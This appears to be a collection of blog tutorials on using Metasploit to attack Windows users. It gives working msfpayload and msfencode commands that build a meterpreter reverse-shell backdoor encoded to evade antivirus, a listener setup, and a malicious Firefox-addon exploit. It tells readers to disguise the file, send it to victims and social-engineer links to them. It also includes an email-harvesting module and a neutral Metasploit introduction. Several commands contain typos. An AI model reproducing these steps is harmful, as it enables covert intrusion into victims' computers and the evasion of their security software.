FUD backdoor with msfencode

In the previous article, we have seen how to create a simple backdoor.exe for exploiting windows machines simple backdoor. However that simple backdoor is easily caught by any antivirus program, you can't rely after all on a stupid victim who is not running an antivirus program on his machine, because you know that it is very rare. 
Well, metasploit has the necessary tools for crypting your backdoor to avoid detection. Let's see first our chances to bypass an antivirus program without encryption:

Here is another scan:

As you can see, we have a little chance to have a successful exploitation of a remote victim.


Let's see what available options does metasploit offer to us:

root@shinobi:~# msfencode -h

Let's see what available encoders do we have: 

root@shinobi:~# msfenode -l

As you may notice, the "shikata_ga_nai" is referred to as the best encoder in "msfencode",we are going to use it to encode our backdoor.

Let's create our backdoor:

root@shinobi:~# msfpayload windows/meterpreter_reverse_tcp LHOST=192.168.1.101 LPORT=443 R | msfencode -e x86/shikata_ga_nai -c 5 -t raw -a x86 -b '\x00\x0a\x0d' -c 5  -x /root/Desktop/pw.exe -o /root/Desktop/pwn.exe

With the above command, we enoded our backdoor 5 times with the "shikata_ga_nai" encoder and we exluded any recurrence of this code from our backdoor signature (\x00\x0a\x0d), then we exported the generated exe file to our desktop. Let's our chances now of fooling a given victim with online virus scanners..

As you can see !!!! the backdoor is totally FUD (fully undetected) !!!!

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Creating a simple exe backdoor

In this scenario, we are going to create a simple backdoor which is an infected executable file to be run on a windows system. You need to provide your IP address which can be obtained by the command "ifconfig" together with the port you want your  backdoor to connect to. The custom port for this connection is usually 443 or 4444, but you can choose any other port.


issue the following command:



root@shinobi:~# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.15 LPORT=4444 > root/Desktop > backdoor.exe

So, as you can see from this example, a backdoor.exe has been created in the "Home" folder. In the above example just change the ip address with yours,, and name it to whatever you like, you don't like after all to tell your victim that this is a backdoor !! :-)

Now, we have finished with the first part, but what is next? 
We simply need a listener which will handle the connection back to our exploit machine.

First of all, we need to open metasploit console:


root@shinobi:~#msfconsole

Now ,we need to use multihandler for a reverse connection:

msf >  use exploit/multi/handler

Now , we set up our payload:

msf >  set payload windows/meterpreter/reverse_tcp

Now, we have to set up the lhost & lport:

msf >  set lhost 192.168.1.15

msf >  set lport 4444

Last phase now, is to type "exploit" 


msf > exploit

We are ready for exploiting the remote machine. Send the backdoor to a victim and wait for a connection ;-)


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Introduction to METASPLOIT

What is metasploit?



Metasploit as described by its developers is :"A collaboration between the open source community and Rapid7, Metasploit software helps security and IT professionals identify security issues, verify vulnerability mitigations, and manage expert-driven security assessments, providing true security risk intelligence. Capabilities include smart exploitation, password auditing, web application scanning, and social engineering. Teams can collaborate in Metasploit and present their findings in consolidated reports.

Metasploit editions range from a free edition to professional enterprise editions, all based on the Metasploit Framework, an open source software development kit with the world's largest, public collection of quality-assured exploits." http://www.metasploit.com/about/what-is-it/

There are many Metasploit editions: metasploit community, metasploit express, metasploit pro & metasploit framework. There are also different interfaces for this tool: msfconsole:

msfcli:

 and msf gui which is the graphiical interface:

You have to know also that there is no perfect interface for metasploit, each one has its pros & cons.

Architecture:

image credit to: HD Moore

Terminology:

1. Exploits: exploits are security flaw that allow a pentester to  attack targets.

2. Payloads: Allow attacker to generate shellcodes, executable files, and simply         specify the work of the payload.

3. Auxiliaries: integrated applications like sniffers, keyloggers ..

4. Meterpreter: An injected payload into a system process.

5. Encoders: Used to allow the modification of original exploit codes so that to shun antivirus detection software.

Basic commands:

1. Help: Displays all the metasploit commands:

2. Search: You can use if you are  not sure about the exact name of a certain exploit. If you want to look for an "smb" exploit for example you type: search smb:

3. use: Used to select a particular exploit:

4. info: Used to provide information about the selected exploit:

5. show options: Used to show all options of a given exploit:

6. show: Used to display all the available payloads, encoders, and nops arelated to a given exploit:

7. set: Used to configure a given exploit:

I hope that this article was useful to you.

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Collecting emails with Metasploit

In this tutorial, we are going to lean how to collect emails from a given domain name with a Metasploit 
First step, open the metasploit console:

root@bt:~#msfconsole

Next, issue the following command:


msf > use auxiliary/gather/search_email_collector

Let's have a look at the available options:

 > show options

Now we are going to set up our domain name, you can choose here whatever you like, then you type 

 > run

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Hacking windows 7 with firefox addon

This exploit consistes in creating an xpi addon file . The victim 's browser (firefox) will pop up a dialog box asking the user if he trusts the addon. Once the user accept the addon installation, a payload with full user permission will be executed on the victim machine.
First, we are going to open the metasploit console:



root@bt:~# msfconsole

Now, we are going to use the mentioned exploit by typing:

msf > use exploit/multi/browser/firefox_xpi_bootstrapped_addon

Let's se what is required for setting up the exploit:

msf > show options

We are going to choose "meterpreter" as our payload:

msf > set payload windows/meterpreter/revrese_tcp

Now, we have to set up our local ip, (you can run ifconfig to check what ip is yours)

msf > set lhost 192.168.1.2

Next, we sut up the address of the local machine:

msf > set srvhost 192.168.1.2

Now, we set the uripath; you can name it whatever you like:

msf > set uripath firefox boost

Next, we choose our target by running this command:

msf > show targets

Since we are going to attack windows 7, we will choose the second option:

msf > set target 1

Now, everything is ready for the attack

msf > exploit

As you can see, a link has been generated for you, all what is left now, is to social engineer the link to a victim, and wait for a connection.

It seems a victim clicked on our link :-) 

Bingooo !! a meterpreter session has been opened

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